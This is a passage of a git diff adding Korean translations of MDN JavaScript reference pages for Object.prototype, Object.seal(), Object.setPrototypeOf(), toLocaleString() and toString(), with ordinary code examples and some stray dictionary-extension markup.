+<p>함수가 호출되었을 때, 불러온 매개변수들은 배열과 같은 형태로 '변수' <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>에 보관된다. 예를 들어 myFn(a, b, c) 라는 함수를 부를 때, 이 함수 내부에 배열형태로 매개변수 (a, b, c) 를 담게 된다. prototype을 훅을 이용해 수정할 때, 함수에서 apply()를 호출하여 단순하게 this와 arguments(호출 상태)에 현재 동작을 전달하면 된다. 이 패턴은 Node.prototype, Function.prototype등 prototype에도 사용할 수 있다.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> current <span class="operator token">=</span> Object<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>valueOf<span class="punctuation token">;</span>
+
+<span class="comment token">// 현재 설정한 "-prop-value" 속성은 cross-cutting 이고 </span>
+<span class="comment token">// 항상 같은 prototype chain이 아니기 때문에, 이 Object.prototype을 바꾸고 싶다.</span>
+Object<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>valueOf <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'-prop-value'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">[</span><span class="string token">'-prop-value'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="comment token">// 이 객체 내 속성(property)이 하나가 아니라면, 현재 동작을 재구성한 것으로부터
+    // 기본 동작으로 되돌리자(복구). </span>
+    <span class="comment token">// apply 동작은 다른 언어에서의 "super"와 유사하다.</span>
+    <span class="comment token">// 비록 valueOf()가 매개변수를 받지못하더라도, 다른 훅에서 있을 것이다.</span>
+    <span class="keyword token">return</span> current<span class="punctuation token">.</span><span class="function token">apply</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code>
+</pre>
+
+<p>JavaScript는 엄밀히 말해서 하위클래스(sub-class) 객체가 없기에, prototype은 객체 역할을 하는 특정 함수의 "기반 클래스" 객체를 만드는 유용한 차선책입니다. 예를 들어:</p>
+
+<pre class="brush: js notranslate">var Person = function() {
+  this.canTalk = true;
+};
+
+Person.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name);
+  }
+};
+
+var Employee = function(name, title) {
+  Person.call(this);
+  this.name = name;
+  this.title = title;
+};
+
+Employee.prototype = Object.create(Person.prototype);
+Employee.prototype.constructor = Employee;
+
+Employee.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name + ', the ' + this.title);
+  }
+};
+
+var Customer = function(name) {
+  Person.call(this);
+  this.name = name;
+};
+
+Customer.prototype = Object.create(Person.prototype);
+Customer.prototype.constructor = Customer;
+
+var Mime = function(name) {
+  Person.call(this);
+  this.name = name;
+  this.canTalk = false;
+};
+
+Mime.prototype = Object.create(Person.prototype);
+Mime.prototype.constructor = Mime;
+
+var bob = new Employee('Bob', 'Builder');
+var joe = new Customer('Joe');
+var rg = new Employee('Red Green', 'Handyman');
+var mike = new Customer('Mike');
+var mime = new Mime('Mime');
+
+bob.greet();
+// Hi, I am Bob, the Builder
+
+joe.greet();
+// Hi, I am Joe
+
+rg.greet();
+// Hi, I am Red Green, the Handyman
+
+mike.greet();
+// Hi, I am Mike
+
+mime.greet();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.0에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.prototype")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">객체지향 JavaScript 소개</a></li>
+</ul>
+
+<div id="dicLayer" style="">
+<div id="dicLayerContents">&lt;dicword style="user-select: text;"&gt;Even though valueOf() doesn't take arguments, some other hook may.&lt;/dicword&gt;&lt;dicword style="user-select: text;"&gt;&lt;dicimg id="play" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/play.gif);"&gt;&lt;/dicimg&gt; <input>Eng&lt;dicimg id="copy" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/copy.png);" title="copy"&gt;&lt;/dicimg&gt;&lt;/dicword&gt;<br>
+<br>
+<br>
+<br>
+valueOf ()가 인수를받지 않더라도 다른 후크가있을 수 있습니다.</div>
+
+<div id="dicLayerSub"></div>
+</div>
+
+<div id="dicRawData" style="display: none;">{"mean":["take&lt;br/&gt;&lt;br/&gt;[동사]\n\t\t ~ sth (with you) | ~ sth (to sb) | ~ (sb) sth\n\t\t \t\t(어떤 것을 한 곳에서 다른 곳으로) 가지고 가다[이동시키다]","though&lt;br/&gt;&lt;br/&gt;[접속사]\n\t\t \t\t(비록) …이긴 하지만[…인데도/…일지라도]\n\n\t\t\t\t\t\t\t\t유의어 although","value&lt;br/&gt;&lt;br/&gt;[명사]\n\t\t \t\t(경제적인) 가치\n\n\t\t 참조 market value, street value","other&lt;br/&gt;&lt;br/&gt;[형용사, 대명사]\n\t\t \t\t(그 밖의) 다른; 다른 사람[것]\n\n\t\t 참조 another","may&lt;br/&gt;&lt;br/&gt;[법조동사]\n\t\t \t\t(가능성을 나타내어) …일지도 모른다[…일 수도 있다]"],"word":"\n\t\t\t\t\t\ttake\n \t\t\t\n\t \t\n\t ","soundUrl":"https://dict-dn.pstatic.net/v?_lsu_sa_=3cd8f6567dcc35f67a9d216930e402fa1d2763157705ff3d60620d707b1d60814356971c64e54c7e792964a50a21103d6cc3ad8a5c30e6d7e9205e93c8517e38f8e5b191d1700b6773822766eee45672523cb75822e10196643a3baf5d3dabb04974f799e77e47c4f2db9476dbfb3e4bf612100b4fa8e918f972d80a449bc79c","phoneticSymbol":"[teɪk]"}</div>
+
+<div id="dicLayerLoader" style="top: 3322px; left: 514px;"></div>
diff --git a/files/ko/web/javascript/reference/global_objects/object/seal/index.html b/files/ko/web/javascript/reference/global_objects/object/seal/index.html
new file mode 100644
index 0000000000..c97f71c26d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/seal/index.html
@@ -0,0 +1,135 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Reference/Global_Objects/Object/seal
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - 봉인
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.seal()</strong></code> 메서드는 객체를 밀봉합니다. 객체를 밀봉하면 그 객체에는 새로운 속성을 추가할 수 없고, 현재 존재하는 모든 속성을 설정 불가능 상태로 만들어줍니다. 하지만 쓰기 가능한 속성의 값은 밀봉 후에도 변경할 수 있습니다(역자 주 : 바로 이 점이 <code>Object.freeze()</code>와의 차이라고 할 수 있습니다).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-seal.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Object.seal(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>봉인할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>봉인한 객체.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>객체는 기본적으로 확장이 가능(<span style="line-height: 16.7999992370605px;">{{jsxref("Object.isExtensible()", "extensible", "", 1)}}</span>)합니다. 즉, 새로운 속성을 추가할 수 있습니다. 하지만 객체를 밀봉하면 그 객체에 새로운 속성을 추가할 수 없게되고, 그 객체 내에 존재하는 모든 속성이 설정 불가능(non-configurable)해 집니다. 객체를 밀봉하면 객체의 속성을 고정된 불변의 상태로 만듭니다. 모든 속성을 설정 불가능한 상태로 만드는 것은 데이터 속성(data properties)을 접근자 속성(accessor properties)으로, 또는 접근자 속성을 데이터 속성으로 변경할 수 없게 만듭니다. 하지만 객체를 완전히 얼려서 데이터 속성의 값도 변경할 수 없게 만드는 <code>Object.freeze()</code>와 달리, <code><strong>Object.seal()</strong></code>은 객체를 밀봉한 후에도 그 객체의 데이터 속성의 값은 여전히 변경할 수 있게 해줍니다. 다만, 밀봉한 후에는 객체를 얼리는 것과 마찬가지로 속성의 추가/삭제나 데이터 속성과 접근자 속성 사이의 전환은 암묵적이든, 아니면 <span style="line-height: 16.7999992370605px;">{{jsxref("Strict_mode", "strict mode", "", 1)}} 에서와 같이 명시적으로 {{jsxref("Global_Objects/TypeError", "TypeError")}} 예외를 발생시키든 모두 실패로 끝납니다.</span></p>
+
+<p>프로토타입 체인은 밀봉 전이나 후나 달라지지 않습니다. 하지만 <span style="line-height: 16.7999992370605px;">{{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 속성은 함께 밀봉됩니다.</span></p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// 새 속성이 추가되고, 기존 속성은 변경되거나 제거될 수 있음
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+assert(o === obj);
+assert(Object.isSealed(obj) === true);
+
+// 밀봉한 객체의 속성값은 밀봉 전과 마찬가지로 변경할 수 있음
+obj.foo = 'quux';
+obj.foo // 'quux' 가 출력됨
+
+// 데이터 속성과 접근자 속성 사이의 전환은 불가
+Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // TypeError 발생
+
+// 속성값의 변경을 제외한 어떤 변경도 적용되지 않음
+obj.quaxxor = 'the friendly duck'; // 에러가 나지는 않지만 속성은 추가되지 않음
+delete obj.foo; // 에러가 나지는 않지만 속성이 삭제되지 않음
+
+// strict mode 에서는 속성값의 변경을 제외한 모든 변경은 TypeError 발생
+function fail() {
+  'use strict';
+  delete obj.foo; // TypeError 발생
+  obj.sparky = 'arf'; // TypeEror 발생
+}
+fail();
+
+// Object.defineProperty() 메서드를 이용한 속성의 추가도 TypeError 발생
+Object.defineProperty(obj, 'ohai', { value: 17 }); // TypeErorr 발생
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // 속성값의 변경은 가능함
+</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>ES5에서는 <code><strong>Object.seal()</strong></code> 메서드의 인자가 객체가 아닐 때(즉, 원시형일 때)는 <span style="line-height: 16.7999992370605px;">{{jsxref("Global_Objects/TypeError", "TypeError")}}가 발생합니다. ES6에서는 원시형 인자도 밀봉된 객체라고 취급해서 {{jsxref("Global_Objects/TypeError", "TypeError")}}를 발생시키지 않고 원시형 인자를 그대로 반환합니다.</span></p>
+
+<pre class="brush: js">&gt; Object.seal(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.seal(1)
+1                             // ES6 code
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.seal")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html
new file mode 100644
index 0000000000..332f857361
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html
@@ -0,0 +1,242 @@
+---
+title: Object.setPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+---
+<p>{{JSRef}}</p>
+
+<p>Object.setPrototypeOf() 메소드는  지정된 객체의 프로토타입 (즉, 내부 [[Prototype]] 프로퍼티)을 다른 객체 또는 {{jsxref("null")}} 로 설정합니다.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Changing the <code>[[Prototype]]</code> of an object is, by the nature of how modern JavaScript engines optimize property accesses, a very slow operation, in <strong><em>every</em></strong> browser and JavaScript engine. The effects on performance of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in <code>obj.__proto__ = ...</code> statement, but may extend to <strong><em>any</em></strong> code that has access to <strong><em>any</em></strong> object whose <code>[[Prototype]]</code> has been altered. If you care about performance you should avoid setting the <code>[[Prototype]]</code> of an object. Instead, create a new object with the desired <code>[[Prototype]]</code> using {{jsxref("Object.create()")}}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.setPrototypeOf(<var>obj</var>, <var>prototype</var>);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>프로토타입을 설정을 가지는 객체</dd>
+ <dt><code>prototype</code></dt>
+ <dd>객체의 새로운 프로토 타입  (객체 or {{jsxref("null")}}).</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>지정된 객체 </p>
+
+<h2 id="Description">Description</h2>
+
+<p>만일 프로토타입이 변경될 객체가 {{jsxref("Object.isExtensible()")}} 에 의해서 non-extensible 하다면,  {{jsxref("TypeError")}} 예외처리를 해라. 만일 프로토타입 파라미터가 객체가 아니거나 {{jsxref("null")}} (i.e., number, string, boolean,  {{jsxref("undefined")}}) 인 경우가 아니라면 어떠한 작업도 하지마라. 이 방법을 통해서 객제의 프로토타입이 새로운 값으로 변경될 것이다.</p>
+
+<p>Object.setPrototypeOf는 ECMAScript 2015 스펙으로 규정되어 있다. 해당 메소드는 일반적으로 객체의 프로토타입과 논쟁이 되는 {{jsxref("Object.prototype.__proto__")}} 프로퍼티를 설정하는 적절한 방법으로 고려된다. </p>
+
+<p>Examples</p>
+
+<pre class="brush: js notranslate">var dict = Object.setPrototypeOf({}, null);
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>예전 버전의 프로퍼티 {{jsxref("Object.prototype.__proto__")}} 를 사용한다면, 우리는 쉽게 Object.setPrototypeOf 가 쉽게 정의 할수 있다.</p>
+
+<pre class="brush: js notranslate">// Only works in Chrome and FireFox, does not work in IE:
+Object.setPrototypeOf = Object.setPrototypeOf || function(obj, proto) {
+  obj.__proto__ = proto;
+  return obj;
+}
+</pre>
+
+<h2 id="Appending_Prototype_Chains">Appending Prototype Chains</h2>
+
+<p><code>Object.getPrototypeOf()</code> and {{jsxref("Object.proto", "Object.prototype.__proto__")}} 의 결합은 새로운 프로토타입 오브젝트에 전반적인 프로토타입 Chain을 설정하도록 할수 있다.</p>
+
+<pre class="brush: js notranslate">/**
+*** Object.appendChain(@object, @prototype)
+*
+* Appends the first non-native prototype of a chain to a new prototype.
+* Returns @object (if it was a primitive value it will transformed into an object).
+*
+*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
+*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
+*
+* Appends the first non-native prototype of a chain to the native Function.prototype object, then appends a
+* new Function(["@arg"(s)], "@function_body") to that chain.
+* Returns the function.
+*
+**/
+
+Object.appendChain = function(oChain, oProto) {
+  if (arguments.length &lt; 2) {
+    throw new TypeError('Object.appendChain - Not enough arguments');
+  }
+  if (typeof oProto !== 'object' &amp;&amp; typeof oProto !== 'string') {
+    throw new TypeError('second argument to Object.appendChain must be an object or a string');
+  }
+
+  var oNewProto = oProto,
+      oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
+
+  for (var o1st = this.getPrototypeOf(o2nd);
+    o1st !== Object.prototype &amp;&amp; o1st !== Function.prototype;
+    o1st = this.getPrototypeOf(o2nd)
+  ) {
+    o2nd = o1st;
+  }
+
+  if (oProto.constructor === String) {
+    oNewProto = Function.prototype;
+    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
+    this.setPrototypeOf(oReturn, oLast);
+  }
+
+  this.setPrototypeOf(o2nd, oNewProto);
+  return oReturn;
+}
+</pre>
+
+<h3 id="Usage">Usage</h3>
+
+<h4 id="First_example_프로토타입에_Chain_설정하기">First example: 프로토타입에 Chain 설정하기</h4>
+
+<pre class="brush: js notranslate">function Mammal() {
+  this.isMammal = 'yes';
+}
+
+function MammalSpecies(sMammalSpecies) {
+  this.species = sMammalSpecies;
+}
+
+MammalSpecies.prototype = new Mammal();
+MammalSpecies.prototype.constructor = MammalSpecies;
+
+var oCat = new MammalSpecies('Felis');
+
+console.log(oCat.isMammal); // 'yes'
+
+function Animal() {
+  this.breathing = 'yes';
+}
+
+Object.appendChain(oCat, new Animal());
+
+console.log(oCat.breathing); // 'yes'
+</pre>
+
+<h4 id="Second_example_객체_Constructor의_인스턴스에_존재하는_원래_값을_변경_및_해당_객체_프로토타입에_Chain_설정하기">Second example: 객체 Constructor의 인스턴스에 존재하는 원래 값을 변경 및 해당 객체 프로토타입에 Chain 설정하기</h4>
+
+<pre class="brush: js notranslate">function MySymbol() {
+  this.isSymbol = 'yes';
+}
+
+var nPrime = 17;
+
+console.log(typeof nPrime); // 'number'
+
+var oPrime = Object.appendChain(nPrime, new MySymbol());
+
+console.log(oPrime); // '17'
+console.log(oPrime.isSymbol); // 'yes'
+console.log(typeof oPrime); // 'object'
+</pre>
+
+<h4 id="Third_example_Function.prototype객체에_Chain을_설정하고_그_Chain에_새로운_함수를_설정하기">Third example: Function.prototype객체에 Chain을 설정하고 그 Chain에 새로운 함수를 설정하기</h4>
+
+<pre class="brush: js notranslate">function Person(sName) {
+  this.identity = sName;
+}
+
+var george = Object.appendChain(new Person('George'),
+                                'console.log("Hello guys!!");');
+
+console.log(george.identity); // 'George'
+george(); // 'Hello guys!!'
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.setprototypeof', 'Object.setProtoypeOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setProtoypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Reflect.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}} </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html b/files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html
new file mode 100644
index 0000000000..809daad824
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html
@@ -0,0 +1,86 @@
+---
+title: Object.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toLocaleString()</strong></code> 메서드는 객체로 된 문자열을 반환합니다. 이 메서드는 지역별로 다른 객체로 재정의되어 표시됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>obj</var>.toLocaleString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체를 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Object")}}의 <code>toLocaleString</code>은 {{jsxref("Object.toString", "toString()")}}을 호출 한 결과를 반환합니다.</p>
+
+<p>이 함수는 모든 객체가 사용할 수는 없지만 객체에 일반 <code>toLocaleString</code> 메소드를 제공하기 위해 제공됩니다. 아래 목록을 참조하십시오.</p>
+
+<h3 id="toLocaleString()을_재정의하는_객체"><code>toLocaleString()</code>을 재정의하는 객체</h3>
+
+<ul>
+ <li>{{jsxref("Array")}}: {{jsxref("Array.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number")}}: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date")}}: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.toLocaleString")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/tostring/index.html b/files/ko/web/javascript/reference/global_objects/object/tostring/index.html
new file mode 100644
index 0000000000..77e4284ff7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/tostring/index.html
@@ -0,0 +1,134 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toString
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<div></div>
+
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>toString()</strong></code> 은 문자열을 반환하는 object의 대표적인 방법이다</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre>
+
+<h2 id="Description">Description</h2>
+
+<p>모든 객체에는 객체가 텍스트 값으로 표시되거나 객체가 문자열이 예상되는 방식으로 참조 될 때 자동으로 호출되는 <code>toString()</code> 메서드가 있습니다. 기본적으로 <code>toString()</code> 메서드는 Object에서 비롯된 모든 객체에 상속됩니다. 이 메서드가 사용자 지정 개체에서 재정의되지 않으면 <code>toString()</code>은 "<code>[object type]</code>"을 반환합니다. 여기서 <code>type</code>은 object type입니다. 다음 코드는 이것을 설명합니다</p>
+
+<pre class="brush: js">var o = new Object();
+o.toString(); // returns [object Object]
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 자바스크립트 1.8.5부터 {{jsxref("null")}}의 <code>toString()</code>을 호출하는 경우 <code>[object <em>Null</em>]</code>을 반환하며, {{jsxref("undefined")}}는 <code>[object <em>Undefined</em>]</code>를 반환합니다. 이는 ECMAScript 제 5판과 후속 정오표에 정의되어 있습니다.  See {{anch("toString으로_객체_클래스_검사", "toString으로_객체_클래스_검사")}}.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="기본_toString_메소드_재정의">기본 <code>toString</code> 메소드 재정의</h3>
+
+<p>기본 <code>toString()</code> 메서드 대신에 호출될 함수를 정의할 수 있습니다. <code>toString()</code> 메서드는 인자를 취하지 않고 문자열을 반환합니다. 직접 생성한 <code>toString()</code> 메서드는 원하는 어떤 값이든 될 수 있지만 해당 객체에 대한 정보를 전달하고 있을 때 가장 유용할 것입니다.</p>
+
+<p>다음 코드는 <code>Dog</code> 객체 타입을 정의하고 <code>Dog</code> 타입을 따르는 <code>theDog</code>를 생성합니다:</p>
+
+<pre class="brush: js">function Dog(name, breed, color, sex) {
+  this.name = name;
+  this.breed = breed;
+  this.color = color;
+  this.sex = sex;
+}
+
+theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female');
+</pre>
+
+<p>커스텀 객체의 <code>toString()</code> 메서드를 호출하는 경우 {{jsxref("Object")}}로부터 상속받은 기본 값을 반환하게 됩니다:</p>
+
+<pre class="brush: js">theDog.toString(); // returns [object Object]
+</pre>
+
+<p>다음 코드는 기본 <code>toString()</code> 메서드를 재정의하는 <code>dogToString()</code>을 생성하고 할당합니다. 이 함수는 객체의 name, breed, color, sex를 포함하는 문자열을 "<code>property = value;</code>"의 형태로 만들어냅니다.</p>
+
+<pre class="brush: js">Dog.prototype.toString = function dogToString() {
+  var ret = 'Dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed;
+  return ret;
+}
+</pre>
+
+<p>앞선 코드를 사용하면 문자열 컨텍스트에서 <code>theDog</code>가 사용될 때마다 자바스크립트는 자동으로 <code>dogToString() </code>함수를 호출하여 다음 문자열을 반환합니다:</p>
+
+<pre class="brush: js">"Dog Gabby is a female chocolate Lab"
+</pre>
+
+<h3 id="toString으로_객체_클래스_검사"><code>toString()</code>으로 객체 클래스 검사</h3>
+
+<p><code>toString()</code>은 모든 객체에 사용되어 해당 객체의 클래스를 가져올 수 있습니다. Object.prototype.toString()을 모든 객체에 사용하기 위해서는 {{jsxref("Function.prototype.call()")}} 나 {{jsxref("Function.prototype.apply()")}}를 사용해서 검사하고자 하는 객체를 <code>thisArg</code>로 불리는 첫번째 파라미터로 넘겨야 합니다.</p>
+
+<pre class="brush: js">var toString = Object.prototype.toString;
+
+toString.call(new Date);    // [object Date]
